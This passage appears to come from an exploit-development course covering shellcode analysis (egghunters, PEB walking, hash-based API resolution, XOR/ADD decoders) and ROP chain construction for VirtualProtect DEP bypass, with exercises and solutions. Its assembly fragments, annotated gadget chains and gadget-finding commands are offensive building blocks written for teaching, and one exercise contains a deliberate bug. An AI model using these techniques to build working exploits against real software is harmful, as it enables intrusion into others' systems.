je       next_page                ; page is not readable -- skip to next
    ↪ page

; Page is readable -- search for egg tag
mov      eax, 0x74303077          ; egg tag = "w00t" (example)

```

```

mov     edi, edx
scasd                                ; compare [EDI] with EAX, advance EDI
jnz     next_addr                    ; no match -- try next address
scasd                                ; check for double tag (avoid self-match)
jnz     next_addr
jmp     edi                          ; EDI points past the double tag =
    ↪ shellcode start

```

How it works: 1. The egghunter probes memory pages using a syscall (int 2Eh) that safely checks if an address is readable, rather than causing an access violation. 2. If the page is not accessible, skip to the next page boundary (4096 bytes). 3. If the page is readable, scan for the egg tag using scasd. 4. The tag is doubled (“w00tw00t”) so the egghunter does not find its own copy of the tag in its own code. 5. When found, jmp edi lands on the real shellcode immediately after the tag.

14.6.2 Egghunter placement

Overflow buffer (small, e.g., 40 bytes):

```

+-----+
| [padding] [egghunter ~32 bytes] |
+-----+

```

Elsewhere in memory (heap, env var, second buffer):

```

+-----+
| w00tw00t [full shellcode] |
+-----+

```

The exploit prepends the double egg tag to the full shellcode and places it anywhere in the process address space that persists. The egghunter in the overflow payload finds it.

14.7 Staged vs stageless shellcode

14.7.1 Stageless (single-stage)

The entire shellcode – API resolution, socket handling, command execution – is in one contiguous block. It must fit entirely in the available overflow space. Typically 300-700 bytes for a reverse shell.

14.7.2 Staged (two-stage)

Stage 1 (small, ~100 bytes): placed in the overflow payload. It: 1. Resolves WSAStartup and connect (or bind/listen/accept). 2. Connects back to the attacker’s machine. 3. Calls VirtualAlloc to allocate RWX memory. 4. Calls recv to read the second stage into the allocated memory. 5. Jumps to the received code.

Stage 2 (large, unlimited): sent by the attacker’s listener after the connection is established. It contains the full payload (meterpreter, shell, custom logic). Since it runs in VirtualAlloc’d RWX

memory, DEP does not apply.

14.7.3 When to use each

- Stageless: when the overflow buffer is large enough and a network callback is undesirable (e.g., exam scenarios with limited network access).
- Staged: when overflow space is limited, or when the payload needs to be modular (stage 2 can be changed without modifying the exploit).
- Egghunter: when even stage 1 does not fit in the overflow, but the full shellcode can be placed elsewhere in memory via another input path.

14.8 Reverse engineering thought process

When you encounter code that does not look like compiler output, ask:

```
EIP recovery method: call/pop, fstenv, or other
Data references: relative to recovered EIP?
PEB access: fs:[30h] present?
Module walk: which list order?
Export resolution: hash-based or string-based?
Hash algorithm: ROR-13, CRC32, djb2, custom?
Encoder: XOR, ADD, SUB, or multi-byte?
Egg tag: 4-byte or 8-byte marker?
Null avoidance: which techniques?
Staged: does it recv() a second payload?
```

Shellcode is sequential: it does not have the call graph of compiled code. Walk it linearly and mark each phase boundary (decoder, resolver, payload).

14.9 Common mistakes

- Treating call/pop as a function call and trying to analyze the “callee.”
- Missing fstenv-based EIP recovery because FPU instructions look unrelated.
- Assuming fs:[30h] is SEH-related. SEH uses fs:[0], not fs:[30h].
- Stopping at the decoder stub and missing the real payload underneath.
- Treating encoded bytes as data when they are code that has not been decoded yet.
- Confusing the egg tag with a magic constant or structure signature.
- Failing to account for the InMemoryOrderLinks offset when computing field offsets from the list pointer (DllBase is at [ptr+0x10], not [ptr+0x18]).
- Not recognizing the ROR-13-ADD loop as a hash computation. It looks like random arithmetic until you see the lodsb and null-terminator check.

14.10 Exercises

14.10.1 Exercise 1: PEB walk

```
xor     ecx, ecx
mov     ecx, fs:[ecx+30h]
mov     ecx, [ecx+0Ch]
mov     ecx, [ecx+14h]
mov     ecx, [ecx]
mov     ecx, [ecx]
mov     ebx, [ecx+10h]
```

Questions:

- What data structure is being traversed?
- Why does `mov ecx, [ecx]` appear twice?
- What does EBX hold at the end?
- Which module does this target and why?

14.10.2 Exercise 2: export resolution

```
mov     edx, [ebx+3Ch]
add     edx, ebx
mov     edx, [edx+78h]
add     edx, ebx
mov     ecx, [edx+18h]
mov     eax, [edx+20h]
add     eax, ebx
```

Given that EBX contains a module's DllBase, annotate each line. What does each register hold after this sequence? What is ECX's role in the next step?

14.10.3 Exercise 3: decoder analysis

```
mov     edi, esi
xor     ecx, ecx
mov     cl, 5Ah
xor     eax, eax
mov     al, 37h
decode_loop:
add     byte ptr [edi], al
inc     edi
loop    decode_loop
jmp     esi
```

Questions:

- What encoding scheme does this use?

- How many bytes are decoded?
- What is the key value?
- How does this differ from the XOR decoder? What advantage might ADD have?

14.11 Challenge problems

14.11.1 Challenge 1: XOR decoder

```
decoder:
    mov     edi, esi
    xor     ecx, ecx
    mov     cl, 38h
decode_loop:
    xor     byte ptr [edi], 0AAh
    inc     edi
    loop    decode_loop
    jmp     esi
```

Assume ESI was set by a prior call/pop. Explain:

- What transformation is applied?
- How many bytes are decoded?
- Why does execution jump to ESI after decoding?
- What must be true about the encoded payload for this to work?
- How would you extract the decoded payload statically?

14.11.2 Challenge 2: full shellcode analysis

```
cld
call     get_eip
get_eip:
    pop     ebp
    ; --- Phase 1: resolve kernel32 base ---
    xor     eax, eax
    mov     eax, fs:[eax+30h]
    mov     eax, [eax+0Ch]
    mov     eax, [eax+14h]
    mov     eax, [eax]
    mov     eax, [eax]
    mov     eax, [eax+10h]
    ; --- Phase 2: find function by hash ---
    mov     edx, [eax+3Ch]
    add     edx, eax
    mov     edx, [edx+78h]
    add     edx, eax
    mov     ecx, [edx+18h]
    push    eax
```

```

    mov     ebx, [edx+20h]
    add     ebx, eax
search:
    dec     ecx
    mov     esi, [ebx+ecx*4]
    add     esi, eax
    xor     edi, edi
hash_loop:
    lodsb
    ror     edi, 0Dh
    add     edi, eax
    test    al, al
    jnz     hash_loop
    cmp     edi, 0E8AFE98h
    jnz     search
; --- Phase 3: resolve and call ---
    pop     eax
    mov     ebx, [edx+24h]
    add     ebx, eax
    movzx   ecx, word ptr [ebx+ecx*2]
    mov     ebx, [edx+1Ch]
    add     ebx, eax
    mov     eax, [ebx+ecx*4]
    add     eax, eax                ; wait -- is this right?
; ... call eax with argument ...

```

Questions:

- Identify the three phases and what each accomplishes.
- What API function does hash 0x0E8AFE98 resolve to? (Use the Python hash function to verify.)
- There is a bug in Phase 3. Find it and explain what the correct instruction should be.

14.12 Solutions with reasoning

14.12.1 Exercise 1 solution

The sequence walks the PEB module list. `fs:[ecx+30h]` reads the PEB pointer (using `ecx` as a zeroed base to avoid null bytes). `[PEB+0Ch]` is `Ldr`. `[Ldr+14h]` is `InMemoryOrderModuleList.Flink`, pointing to the first module entry. Each `mov ecx, [ecx]` follows the `Flink` to the next entry, so two iterations skip past the first two modules. On Windows, the standard load order in `InMemoryOrderModuleList` is:

1. The executable itself
2. `ntdll.dll`
3. `kernel32.dll`

Two `Flink` traversals reach the third entry, which is typically `kernel32.dll`. `[ecx+10h]` reads the `DllBase` field (at `entry+0x18`, minus `0x08` for the `InMemoryOrderLinks` offset = `0x10` from the list

pointer). EBX holds the base address of `kernel32.dll`. This is the setup for export-table walking to resolve API functions like `WinExec`, `LoadLibraryA`, or `GetProcAddress`.

14.12.2 Exercise 2 solution

```

mov  edx, [ebx+3Ch]    ; EDX = e_lfanew (offset to PE header, from DllBase)
add  edx, ebx          ; EDX = PE header VA (DllBase + e_lfanew)
mov  edx, [edx+78h]    ; EDX = Export Directory RVA (at PE+0x78 =
    ↪ DataDirectory[0])
add  edx, ebx          ; EDX = Export Directory VA (DllBase + RVA)
mov  ecx, [edx+18h]    ; ECX = NumberOfNames (count of exported function
    ↪ names)
mov  eax, [edx+20h]    ; EAX = AddressOfNames RVA
add  eax, ebx          ; EAX = AddressOfNames VA (array of name string RVAs)

```

ECX holds the number of exported names and will serve as the loop counter for iterating through the name array. The next step would compare each name (or its hash) against a target to find the desired API function.

14.12.3 Exercise 3 solution

This is an ADD decoder (additive, not XOR). It adds 0x37 to each of the 0x5A (90) bytes starting at ESI. The key is 0x37.

Compared to XOR: - XOR is self-inverse (encode and decode use the same operation). - ADD requires SUB for encoding (each byte was pre-subtracted by 0x37 during payload preparation). - ADD avoids the XOR problem where `byte XOR key == 0x00` (produces a null). With ADD, nulls only appear when `byte + key` wraps to exactly 0x00 or the decoded byte itself is 0x00. In some cases ADD produces fewer bad characters.

To decode statically: subtract 0x37 from each of the 90 payload bytes.

14.12.4 Challenge 1 solution

The decoder XORs each byte at `[edi]` with 0xAA for 0x38 (56) bytes starting at the address in ESI. The loop instruction decrements ECX and jumps while nonzero. After decoding, `jmp esi` transfers execution to the now-decoded payload. The decoder is a single-byte XOR stub.

For this to work, the encoded payload must not contain the byte 0xAA XORed with any of the decoder's own bytes (or the decoder must be placed outside the decoded region, which it is here since ESI points past the decoder). The payload also must not contain bytes that, after XOR with 0xAA, produce characters filtered by the delivery channel.

To extract the decoded payload statically, XOR each of the 56 bytes starting at the address after the `jmp esi` with 0xAA. In Python:

```

decoded = bytes(b ^ 0xAA for b in encoded_payload[:0x38])

```

Or in WinDbg, break at the `jmp esi` instruction and dump the decoded payload with `db esi L38`.

14.12.5 Challenge 2 solution

Phase 1 (PEB walk): recovers kernel32.dll base address into EAX. Same pattern as Exercise 1 – cld clears the direction flag for safe lodsb use, call/pop recovers EIP into EBP for potential data references.

Phase 2 (export resolution): walks the PE export directory of kernel32.dll, hashing each exported name with ROR-13-ADD and comparing to 0x0E8AFE98.

To verify: `ror13_hash("WinExec") = 0x0E8AFE98`. The shellcode resolves WinExec.

Phase 3 (ordinal lookup and call): uses the matched index to look up the ordinal, then indexes into `AddressOfFunctions` to get the function RVA.

The bug: `add eax, eax` doubles EAX instead of adding DllBase. The correct instruction should be `add eax, <register holding DllBase>`. Since DllBase was pushed earlier (`push eax` before Phase 2), the corrected code should be:

```
pop     ebx           ; restore DllBase from stack
; ... (ordinal lookup using ebx) ...
mov     eax, [ebx+ecx*4]
add     eax, ebx      ; EAX = DllBase + function RVA = function VA
```

The `add eax, eax` is a copy error – likely a typo for `add eax, ebx` or the DllBase register was not properly restored from the stack.

14.13 Key takeaways

- Shellcode identifies itself through patterns no compiler emits: `call/pop` for EIP recovery, `fs:[30h]` for PEB access, hash-based API resolution.
- The PEB walk finds module bases; PE export table walking resolves API functions by hashing names with ROR-13-ADD (or other hash algorithms).
- Export resolution follows a specific chain: `e_lfanew` -> PE header -> Export Directory -> `AddressOfNames` -> hash/compare -> `AddressOfNameOrdinals` -> `AddressOfFunctions` -> `DllBase + RVA = final VA`.
- Egghunters use syscalls to safely probe memory pages, searching for a doubled marker tag to locate shellcode placed elsewhere.
- Staged shellcode splits the payload: a small first stage connects back and receives a larger second stage into allocated RWX memory.
- Encoder stubs (XOR, ADD, SUB) transform shellcode to avoid bad characters, then decode in place and jump to the decoded payload.

14.14 See also

- `x86-osd-assembly-reference/17-windows-process-structures-and-peb-walking.md` – PEB/LDR structure offsets and list entry pointer math.
- `x86-osd-assembly-reference/18-pe-structures-and-export-resolution.md` – PE header chain and `IMAGE_EXPORT_DIRECTORY` field offsets.

- [x86-osed-assembly-reference/19-position-independent-shellcode.md](#) – EIP recovery, null-byte avoidance, stack strings.
- [x86-osed-assembly-reference/20-api-hashing.md](#) – ROR-13-ADD algorithm, Python implementation, collision considerations.
- [x86-osed-assembly-reference/21-string-construction-in-shellcode.md](#) – stack strings, odd-length handling, XOR encoding.
- [Tools/egghunter/](#) – egghunter generation utilities.
- [Tools/shellcode_x86_win/](#) – Windows x86 shellcode building blocks.
- [Tools/shellcode/](#) – shellcode encoding and transformation tools.
- [DRILLS/reverse_engineering.md](#) – reverse engineering practice drills.

Chapter 15

15. ROP Gadgets and Code-Reuse Patterns

15.1 Learning objectives

- Read individual ROP gadgets as primitive operations on registers and the stack.
- Identify stack pivot gadgets and explain why they matter.
- Recognize mid-instruction gadgets and unintended instruction boundaries.
- Trace a short ROP chain through the stack to recover its intent.
- Build a complete VirtualProtect DEP bypass chain using gadgets.
- Use the PUSHAD technique to set up API call frames compactly.
- Handle bad characters in gadget addresses.
- Connect gadget analysis to the broader exploit strategy (DEP bypass, API calls).

15.2 Concept discussion

When DEP prevents execution of attacker-supplied code on the stack or heap, the attacker reuses fragments of existing executable code. Each fragment ends with `ret` (or `ret N`), which pops the next address from the stack and transfers control there. By chaining these fragments through a controlled stack, the attacker builds arbitrary computation from existing code.

A ROP gadget is a short instruction sequence ending in `ret`. The reverse engineer reads gadgets differently from normal functions:

- There is no calling convention. The stack is the program.
- Each gadget consumes stack slots: one for the return address, plus any that `pop` instructions or `ret N` consume.
- Side effects on registers and memory are the gadget's purpose.
- The gadget may start at an aligned instruction boundary (intended gadget) or at an offset within a longer instruction (unintended/mid-instruction gadget).

15.3 Common gadget patterns

15.3.1 Register control

- `pop eax; ret`: load EAX from the stack. Consumes one slot for the value and one for the next gadget address.
- `pop ecx; pop ecx; ret`: load two values (or skip one and load one).
- `xchg eax, esp; ret`: dangerous stack pivot if EAX is controlled.
- `mov eax, ecx; ret`: transfer between registers.

15.3.2 Memory operations

- `mov [eax], ecx; ret`: write-what-where primitive.
- `mov [ecx], eax; ret`: write-what-where (reversed operands).
- `mov eax, [eax]; ret`: dereference and load.
- `add [eax], ecx; ret`: additive write primitive.
- `inc dword ptr [eax]; ret`: increment primitive.

15.3.3 Arithmetic and flag manipulation

- `add eax, ecx; ret`: register addition.
- `sub eax, ecx; ret`: register subtraction.
- `neg eax; ret`: negate.
- `xor eax, eax; ret`: zero a register.

15.3.4 Stack pivots

- `xchg eax, esp; ret`: pivot ESP to attacker-controlled address in EAX.
- `mov esp, ebp; pop ebp; ret`: standard epilogue reused as pivot if EBP is controlled.
- `add esp, offset; ret`: skip stack slots (useful for alignment or jumping over bad characters).
- `pop esp; ret`: direct ESP control from the stack.
- `leave; ret`: equivalent to `mov esp, ebp; pop ebp; ret`.

15.3.5 API call setup

- `push eax; call [ebx]`: call through import pointer with argument.
- `pushad; ret`: push all registers, then continue chain. Useful for setting up a complex API call frame.
- `mov edx, [eax]; call [edx+offset]`: virtual-call gadget reused for controlled dispatch.

15.4 Fully annotated example

15.4.1 Reading a single gadget

```
; At address 0x7C345678 inside a system DLL:  
pop     eax
```

```
pop    ebx
ret
```

Annotated:

```
pop    eax
; Load the next stack slot into EAX.

pop    ebx
; Load the following stack slot into EBX.

ret
; Pop the next address and transfer control.
```

Stack layout when this gadget executes:

```
ESP+00: value for EAX
ESP+04: value for EBX
ESP+08: address of next gadget  <-- ret pops this into EIP
```

This gadget consumes three stack slots: two data values and one return address.

15.4.2 Reading a short ROP chain

Stack layout (controlled by attacker after overflow):

```
ESP+00: 0x7C345678    ; gadget: pop eax; pop ebx; ret
ESP+04: 0x00000040    ; -> EAX (PAGE_EXECUTE_READWRITE)
ESP+08: 0xDEADBEEF    ; -> EBX (unused placeholder)
ESP+0C: 0x7C341234    ; gadget: pop ecx; ret
ESP+10: 0x00401000    ; -> ECX (target address)
ESP+14: 0x7C34ABCD    ; gadget: mov [ecx], eax; ret
ESP+18: ...           ; next gadget or payload
```

Annotated chain:

```
Step 1: pop eax; pop ebx; ret
        EAX = 0x40 (PAGE_EXECUTE_READWRITE)
        EBX = 0xDEADBEEF (don't care)
        ret -> 0x7C341234

Step 2: pop ecx; ret
        ECX = 0x00401000 (target address for write)
        ret -> 0x7C34ABCD

Step 3: mov [ecx], eax; ret
        Write 0x40 to address 0x00401000
        ret -> next gadget
```

The chain writes a protection constant to a known address. This is a building block for setting up VirtualProtect arguments before calling the API.

15.5 Complete VirtualProtect DEP bypass chain

This is the most important ROP technique for OSED. The goal is to call VirtualProtect to mark a stack region as executable, then redirect execution to shellcode placed in that region.

15.5.1 VirtualProtect signature (stdcall, callee cleans 4 args)

```

BOOL VirtualProtect(
    LPVOID lpAddress,           // address of region to change
    SIZE_T dwSize,             // size of region
    DWORD  flNewProtect,        // new protection (0x40 =
    ↪ PAGE_EXECUTE_READWRITE)
    PDWORD lpflOldProtect       // pointer to receive old protection value
);

```

15.5.2 Required stack frame at the moment VirtualProtect executes

```

Higher addresses
+-----+
| lpflOldProtect [ESP+10h] | writable .data address
| flNewProtect   [ESP+0Ch] | 0x40 (PAGE_EXECUTE_READWRITE)
| dwSize         [ESP+08h] | e.g. 0x201 (513 bytes, enough for shellcode)
| lpAddress      [ESP+04h] | address of shellcode on stack
| return address [ESP+00h] | where to go after VirtualProtect returns
+-----+
Lower addresses (ESP points here when VirtualProtect starts)

```

After VirtualProtect returns (stdcall, so it cleans 4 args with ret 10h), EIP goes to the return address and ESP points past the cleaned arguments. The return address should point to the shellcode.

15.5.3 The problem

Several argument values contain null bytes or other bad characters: - lpAddress (a stack address like 0x0012XXXX contains 0x00) - dwSize (small values like 0x00000201 contain 0x00) - The VirtualProtect address itself may contain bad bytes

The ROP chain must construct these values at runtime using gadgets.

15.5.4 Worked end-to-end chain

Assumptions: - Non-ASLR module app.dll loaded at 0x10010000 provides gadgets. - VirtualProtect at 0x7C801D7B (kernel32.dll, known via non-ASLR or IAT). - Writable .data address for

lpflOldProtect: 0x1002A000. - Shellcode immediately follows the chain on the stack.

Slot	Value	Purpose
ESP+00	0x10015442	pop eax; ret
ESP+04	0x7C801D7B	-> EAX = VirtualProtect address
ESP+08	0x10017753	pop ecx; ret
ESP+0C	0x1002A000	-> ECX = writable .data (for lpflOldProtect)
ESP+10	0x1001AABB	mov [ecx], eax; ret writes VirtualProtect addr to 0x1002A000 (reuses this slot to stage; we'll overwrite it with the real lpflOldProtect value later)
ESP+14	0x10015442	pop eax; ret
ESP+18	0x00000040	-> EAX = PAGE_EXECUTE_READWRITE
ESP+1C	0x10017753	pop ecx; ret
ESP+20	0x1002A004	-> ECX = second writable .data slot
ESP+24	0x1001AABB	mov [ecx], eax; ret stages 0x40 at .data+4
ESP+28	0x10015442	pop eax; ret
ESP+2C	0x00000201	-> EAX = dwSize (513 bytes)
ESP+30	0x10017753	pop ecx; ret
ESP+34	0x1002A008	-> ECX = third writable .data slot
ESP+38	0x1001AABB	mov [ecx], eax; ret stages 0x201 at .data+8
ESP+3C	0x1001B234	push esp; pop eax; ret EAX = current ESP (points near shellcode)
ESP+40	0x1001C567	add eax, 0x28; ret EAX now points to shellcode below
ESP+44	0x10017753	pop ecx; ret
ESP+48	0x1002A00C	-> ECX = fourth writable .data slot
ESP+4C	0x1001AABB	mov [ecx], eax; ret stages lpAddress (shellcode address) at .data+0xC
ESP+50	0x1001D890	gadget that calls VirtualProtect with staged args (or: push values from .data, then jmp to API)
ESP+54	[shellcode starts here -- now executable after VirtualProtect]	

The exact final gadget depends on what is available. Common approaches: 1. Use individual push gadgets to push the staged values from .data, then ret to VirtualProtect. 2. Use pushad; ret (see below) to push registers containing the arguments. 3. Write the arguments directly to the stack at the right offsets.

15.5.5 Alternative: skeleton ROP chain (simpler)

When gadget availability is limited, a simpler pattern writes arguments directly into the stack frame that VirtualProtect will read:

```

ESP+00: 0x10015442  pop eax; ret
ESP+04: 0x7C801D7B  -> EAX = &VirtualProtect
ESP+08: 0x10012345  push eax; ret (pushes VirtualProtect addr, ret
↪ "calls" it)

```

```

    --- VirtualProtect reads from here ---
ESP+0C: <shellcode>  return address (where VirtualProtect returns to)
ESP+10: <shellcode>  lpAddress (same as return addr -- protect shellcode
    ↪ region)
ESP+14: 0x00000201    dwSize
ESP+18: 0x00000040    flNewProtect (PAGE_EXECUTE_READWRITE)
ESP+1C: 0x1002A000    lpflOldProtect (writable .data address)
ESP+20: [shellcode begins here]

```

This works when the argument values do not contain bad characters. The `push eax; ret` pattern at `ESP+08` pushes `VirtualProtect`'s address onto the stack and then `ret` pops it into `EIP`, effectively calling `VirtualProtect`. After `VirtualProtect` returns (`ret 10h`), `EIP` goes to the return address at `ESP+0C` and `ESP` advances past the 4 cleaned arguments to `ESP+20` where shellcode begins.

15.6 PUSHAD-based VirtualProtect call

The `pushad` instruction pushes all 8 general-purpose registers in this order: `EAX`, `ECX`, `EDX`, `EBX`, `original-ESP`, `EBP`, `ESI`, `EDI`. After `pushad`, `ESP` has decreased by 32 bytes (8×4), and the values are laid out as:

```

ESP+00: EDI      (pushed last, on top)
ESP+04: ESI
ESP+08: EBP
ESP+0C: original ESP (value of ESP before pushad)
ESP+10: EBX
ESP+14: EDX
ESP+18: ECX
ESP+1C: EAX      (pushed first, at bottom)

```

When `pushad` is followed by `ret`, the `ret` pops `EDI` into `EIP` (since `EDI` is on top at `ESP+00`). The remaining 7 values form a `stdcall` call frame:

Remaining on stack after <code>ret</code> pops <code>EDI</code> :		
+-----+		
[ESP+00]	ESI	return address for the API call
[ESP+04]	EBP	arg1 (lpAddress)
[ESP+08]	orig ESP	arg2 (dwSize)
[ESP+0C]	EBX	arg3 (flNewProtect)
[ESP+10]	EDX	arg4 (lpflOldProtect)
[ESP+14]	ECX	(extra, ignored by <code>stdcall/4</code>)
[ESP+18]	EAX	(extra, ignored)
+-----+		

15.6.1 Setup for VirtualProtect via PUSHAD

To call `VirtualProtect(lpAddress, dwSize, 0x40, &oldProtect)`:

1. **EDI** = address of `VirtualProtect` (popped by `ret`, becomes `EIP`)

2. **ESI** = return address after VirtualProtect (should point to shellcode)
3. **EBP** = lpAddress (start of region to make executable)
4. **original ESP** = dwSize (value of ESP when pushad runs – hard to control directly; often becomes the size parameter by luck or via a `sub esp, X` gadget before pushad to adjust it)
5. **EBX** = flNewProtect (0x40 = PAGE_EXECUTE_READWRITE)
6. **EDX** = lpflOldProtect (writable .data address)

ROP chain to set up these registers before executing pushad; ret:

```

ESP+00: <pop edi; ret>           ; gadget
ESP+04: <VirtualProtect addr>    ; -> EDI
ESP+08: <pop esi; ret>           ; gadget
ESP+0C: <jmp esp gadget addr>    ; -> ESI (return addr: jump to shellcode
    ↪ after)
ESP+10: <pop ebp; ret>           ; gadget
ESP+14: <stack addr>             ; -> EBP (lpAddress)
ESP+18: <pop ebx; ret>           ; gadget
ESP+1C: 0x00000040               ; -> EBX (PAGE_EXECUTE_READWRITE)
ESP+20: <pop edx; ret>           ; gadget
ESP+24: <writable .data addr>    ; -> EDX (lpflOldProtect)
ESP+28: <pushad; ret>            ; gadget -- builds the call frame and calls
    ↪ API
ESP+2C: [shellcode starts]

```

The pushad; ret technique is more compact than writing values to memory because it sets up both the API call and all its arguments in a single instruction. The tradeoff is that original-ESP becomes one of the arguments, which limits control over dwSize.

15.7 ret N and chain gaps

A gadget ending in `ret N` pops the return address AND removes N additional bytes from the stack. This creates a gap in the chain:

```

; Gadget at 0x10011234:
pop eax
ret 8

```

Stack trace:

```

Before:
ESP+00: 0xAAAAAAAA    ; -> EAX
ESP+04: 0x10015678    ; -> EIP (next gadget -- popped by ret)
ESP+08: [gap byte 0-3] ; skipped by ret 8
ESP+0C: [gap byte 4-7] ; skipped by ret 8
ESP+10: 0x10019ABC    ; ACTUAL next gadget after the gap

After pop eax: ESP = ESP+04, EAX = 0xAAAAAAAA
After ret 8:   EIP = 0x10015678, ESP = ESP+04 + 4 + 8 = ESP+10

```

The gap at ESP+08 and ESP+0C must be filled with padding (any value). The real next gadget address goes at ESP+10. Forgetting the gap is one of the most common chain-building mistakes.

15.7.1 Formula

For `ret N`: total ESP advancement = 4 (return address) + N. Stack slots consumed by the gadget = pops + 1 (ret) + N/4.

15.8 Stack pivots in depth

A stack pivot redirects ESP to an attacker-controlled region. This is needed when:

1. **SEH-based exploits**: overwriting the SEH handler gives EIP control but ESP still points to the original stack, not the overflow data. A pivot moves ESP to the buffer containing the ROP chain.
2. **Limited overflow space**: if the overflow on the real stack is too small for a full chain, pivot to a larger controlled region (heap spray, another buffer).
3. **Non-contiguous controlled data**: the chain data is in a register (e.g., EAX points to a heap buffer with the chain).

15.8.1 Common pivot gadgets

<code>xchg eax, esp; ret</code>	-- ESP = old EAX, EAX = old ESP Requires EAX to point to the chain.
<code>mov esp, eax; ret</code>	-- ESP = EAX. Same as above but does not swap.
<code>add esp, 0x1C; ret</code>	-- Skip 28 bytes on the stack. Useful when EIP control is at an offset from the chain data.
<code>pop esp; ret</code>	-- ESP = [old ESP]. The stack slot at ESP becomes the new stack pointer.
<code>leave; ret</code>	-- ESP = EBP; pop EBP; ret. Pivots to EBP.

15.8.2 Calculating the pivot target

For `xchg eax, esp; ret`: 1. At the time of the pivot, EAX must contain the address of the ROP chain. 2. The first dword at that address is the next gadget address (consumed by `ret`). 3. Place the full chain starting at [EAX].

For `add esp, N; ret`: 1. The chain must be placed at original-ESP + N + 4 (the +4 is for the `ret` that follows the `add`). 2. Fill the gap between original-ESP and the chain with padding.

15.8.3 WinDbg pivot debugging

```

0:000> r esp          ; current ESP
0:000> r eax           ; candidate pivot target
0:000> dd eax L10      ; preview chain at pivot target
0:000> bp <pivot_addr> ; break at pivot gadget
0:000> g
0:000> p              ; single-step through pivot
0:000> r esp          ; verify new ESP

```

15.9 Mid-instruction gadgets

x86 is variable-length. A ret byte (0xC3) inside a longer instruction's encoding can be the start of an unintended gadget:

```

Intended instruction at 0x7C345670:
  B8 5B 5D C3 90      mov eax, 90C35D5Bh

Unintended gadget at 0x7C345672 (offset +2):
  5B                  pop ebx
  5D                  pop ebp
  C3                  ret

```

The intended instruction `mov eax, 90C35D5Bh` contains the bytes `5B 5D C3` at an offset. Disassembling from that offset yields `pop ebx; pop ebp; ret`, a valid and useful gadget that never appears in the source code or compiler output.

Another example:

```

Intended at 0x10017700:
  81 EC 94 00 00 00    sub esp, 94h

Unintended at 0x10017702:
  94                  xchg eax, esp
  00 00              add [eax], al
  00 ...

```

The `xchg eax, esp` (opcode `0x94`) inside the 32-bit immediate is a powerful stack pivot gadget hidden in a mundane stack frame setup instruction.

15.9.1 Evaluating gadget quality

Good gadget:

- Minimal side effects (only changes target registers)
- No conditional branches
- Predictable stack consumption
- Located in a non-ASLR module

Bad gadget:

- Clobbers registers needed by later gadgets
- Contains memory accesses that may fault
- Has conditional branches that change stack consumption
- Located in an ASLR module without an info leak

15.10 Bad characters in gadget addresses

When the overflow passes through a function that filters certain byte values (e.g., 0x00, 0x0a, 0x0d, 0x20), any gadget address containing those bytes cannot be used directly.

15.10.1 Strategies

1. **Find alternative gadgets:** the same operation may exist at a different address without bad bytes. Search the module thoroughly.
2. **Use a different module:** another non-ASLR module may contain the same gadget at a clean address.
3. **Arithmetic construction:** if a gadget address contains a bad byte, load the address in two parts and add them:

```
ESP+00: <pop eax; ret>      ; gadget at clean address
ESP+04: 0x7C401111          ; first half
ESP+08: <pop ecx; ret>      ; gadget at clean address
ESP+0C: 0x00400C6A          ; second half
ESP+10: <add eax, ecx; ret>  ; sum = target address
ESP+14: <push eax; ret>     ; call the target
```

Choose the two halves so neither contains bad characters but their sum equals the desired address.

4. **Negative encoding:** load the two's complement of the address and negate:

```
ESP+00: <pop eax; ret>
ESP+04: 0xFFFFF0C0          ; negated address (no bad bytes)
ESP+08: <neg eax; ret>
ESP+0C: ...                  ; EAX now = 0x00000040
```

15.10.2 Testing for bad characters

Before building the chain, send a payload containing all 256 byte values (0x00 through 0xFF) and compare what arrives in memory:

```
0:000> db eax L100      ; compare received bytes against sent pattern
```

Any byte that is missing, replaced, or truncates the buffer is a bad character. The repository's Tools/badchars/ module can generate test patterns.

15.11 Gadget-finding tools

15.11.1 mona.py (Immunity Debugger)

```
!mona rop -m app.dll           ; find gadgets in app.dll
!mona rop -m app.dll -cp nonull ; exclude gadgets with null bytes
!mona findwild -s "pop r32#pop r32#ret" -m app.dll
!mona stackpivot -m app.dll
```

15.11.2 rp++ (standalone, fast)

```
rp++ -f app.dll --rop=5 --unique # gadgets up to 5 instructions
rp++ -f app.dll --search="pop eax"
```

15.11.3 ropper

```
ropper -f app.dll --search "pop eax"
ropper -f app.dll --chain execve # auto-generate chains (Linux)
```

15.11.4 WinDbg manual search

```
0:000> s -b app 10000 C3           ; find all ret bytes
0:000> s -b app 10000 C2           ; find all ret N bytes
0:000> u <addr-3> L3               ; disassemble backward to check gadget
```

15.11.5 Chain analysis template

```
Gadget address:
Instructions:
Stack slots consumed: (pops + 1 for ret, or pops + 1 + N/4 for ret N)
Registers modified:
Registers clobbered (unwanted side effects):
Memory reads:
Memory writes:
Preconditions (registers/memory that must be valid):
Bad characters in address: [yes/no]
```

15.12 Common mistakes

- Forgetting that ret itself consumes a stack slot (the next gadget address).
- Miscounting stack consumption when ret N is used. ret 8 pops the return address *and* removes 8 additional bytes from the stack. Total: 4 + N bytes.
- Assuming gadgets only exist at function boundaries. Mid-instruction gadgets are often the most useful.

- Ignoring register clobber. A gadget that sets ECX but also clobbers EAX may break a chain that depends on EAX from a prior gadget.
- Treating pushad as pushing to the ROP chain stack. pushad pushes onto ESP at the time it executes, which may or may not be the chain stack.
- Confusing intended code semantics with gadget semantics. A gadget is used for its side effect, not its original purpose.
- Not testing for bad characters before building the chain. A single bad byte in a gadget address corrupts the entire chain from that point forward.
- Forgetting that VirtualProtect is stdcall and cleans its own arguments. After ret 10h, ESP advances 20 bytes (4 return + 16 args). The shellcode must be positioned accordingly.

15.13 Exercises

15.13.1 Exercise 1

Given this stack layout after a buffer overflow:

```
ESP+00: 0x10015442    ; pop eax; ret
ESP+04: 0x00000040    ; -> EAX (PAGE_EXECUTE_READWRITE)
ESP+08: 0x10017753    ; pop ecx; ret
ESP+0C: 0x1002A148    ; -> ECX (writable address in .data)
ESP+10: 0x1001AABB    ; mov [ecx], eax; ret
ESP+14: 0x10015442    ; pop eax; ret
ESP+18: 0x7C801D7B    ; -> EAX (address of VirtualProtect)
ESP+1C: 0x10012345    ; push eax; ret
```

Questions:

- What value is written, and where?
- What does the chain do after the write?
- Why is push eax; ret useful at the end?
- How many total stack slots does this chain consume?

15.13.2 Exercise 2

Trace this chain containing a ret 8 gadget:

```
ESP+00: 0x10011234    ; pop eax; ret 8
ESP+04: 0xDEADCAFE    ; -> EAX
ESP+08: 0x41414141    ; padding (skipped by ret 8)
ESP+0C: 0x41414141    ; padding (skipped by ret 8)
ESP+10: 0x10017753    ; pop ecx; ret
ESP+14: 0x1002A000    ; -> ECX
ESP+18: 0x1001AABB    ; mov [ecx], eax; ret
```

Questions:

